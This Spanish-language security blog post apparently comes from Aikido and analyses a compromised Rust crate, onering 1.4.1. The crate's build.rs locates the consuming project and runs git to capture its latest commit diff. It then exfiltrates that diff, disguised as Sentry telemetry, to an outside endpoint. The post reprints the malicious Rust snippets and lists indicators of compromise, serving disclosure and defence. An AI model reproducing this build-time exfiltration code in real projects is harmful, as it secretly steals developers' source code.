Aikido

El crate de Rust comprometido onering realiza exfiltración de código

Escrito por
Ilyas Makari

El 10 de junio de 2026, detectamos un comportamiento malicioso en la última versión, 1.4.1, del crate de Rust "onering". Onering es una biblioteca de colas y canales síncronos de alto rendimiento para Rust, con más de 18 000 descargas en crates.io. En las últimas semanas, npm, PyPI y GitHub acapararon la mayor parte de la atención con una oleada de compromisos de la cadena de suministro. Esta semana es el turno de Rust.

La última versión añadió un archivo build.rs que recopila discretamente datos de git de cualquier proyecto que esté compilando el crate y los envía a un servidor remoto, incluyendo el código fuente real de su commit más reciente. Anteriormente, hemos visto a atacantes ser creativos con la ejecución de payloads en tiempo de compilación en npm y PyPI, y ahora están experimentando con ello en Rust. Si bien la mayoría de los ataques recientes a la cadena de suministro se han centrado en el robo de credenciales, este parece estar puramente enfocado en el código fuente.

El problema no se limita al paquete publicado en crates.io. El repositorio de GitHub del mantenedor también parece estar comprometido, por lo que obtener el crate de git en lugar del registro no le hace estar seguro. Alertamos inmediatamente al mantenedor: https://github.com/cenotelie/onering/issues/1

Qué hace el build.rs malicioso

A build.rs es un script de compilación. Cargo lo compila y ejecuta en la máquina del desarrollador durante la compilación. Esto lo convierte en un lugar de alto valor para ocultar un payload, porque simplemente depender del crate y compilarlo es suficiente para activarlo. Nunca tendrá que llamar a una sola función de la biblioteca.

El código inyectado build.rs hace tres cosas.

Primero, localiza la raíz del proyecto que está consumiendo el crate, no su propio directorio. Sube desde OUT_DIR hasta que encuentra el target directorio, luego toma su directorio padre. El resultado es su repositorio.

fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
    let dir = PathBuf::from(std::env::var("OUT_DIR")?);
    let mut project_dir = &*dir;
    while let Some(parent) = project_dir.parent() {
        if let Some(last) = parent.iter().last()
            && last == "target"
            && let Some(parent) = parent.parent()
        {
            project_dir = parent;
            break;
        }
        project_dir = parent;
    }
    Ok(project_dir.to_path_buf())
}

Segundo, ejecuta dos comandos git en su repositorio. Uno recopila metadatos de commit. El otro captura el diff textual completo de su commit más reciente.

let Ok(commit) = git(
    &project_path,
    &[
        "log",
        "-n",
        "1",
        r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
    ],
) else {
    return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
    return;
};

El git diff HEAD^ HEAD llamada obtiene el diff completo de su último commit, que se exfiltra cada vez que compila, por lo que, a lo largo de muchos commits, filtra un flujo continuo de sus cambios de código fuente reales en lugar de una única instantánea.

Tercero, disfraza los datos robados como un evento de telemetría de Sentry y lo envía mediante POST con curl a un endpoint de ingesta de Sentry. Los metadatos del commit se convierten en las etiquetas del evento, y su diff de código se introduce en el extra.patch campo.

let payload = format!(
    r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
    Uuid::new_v4().as_simple(),
    patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
    "POST",
    "https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
    &["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
    &payload,
) else {
    return;
};

El disfraz es deliberado. Para cualquiera que detecte tráfico saliente durante una compilación, una solicitud a una URL de ingesta de Sentry se interpreta como un informe de errores ordinario. También hay una línea comentada sobrante, // std::fs::write("data.txt", payload), lo que sugiere fuertemente que la carga útil se probó localmente escribiéndola en el disco antes de que se configurara la llamada de red.

Cómo Aikido detecta esto

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.

Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.

Indicadores de compromiso

  • Dependencia onering versión 1.4.1 de crates.io.
  • El endpoint de ingesta de Sentry https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/.
  • La clave pública DSN de Sentry 8197ee42c4f59c83f4cc6d48f5bae821, ID de organización o4511539639222272, e ID de proyecto 4511539669368912.
Compartir:

https://www.aikido.dev/blog/compromised-rust-crate-onering-performs-code-exfiltration

Escanear en busca de malware

Empieza gratis
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.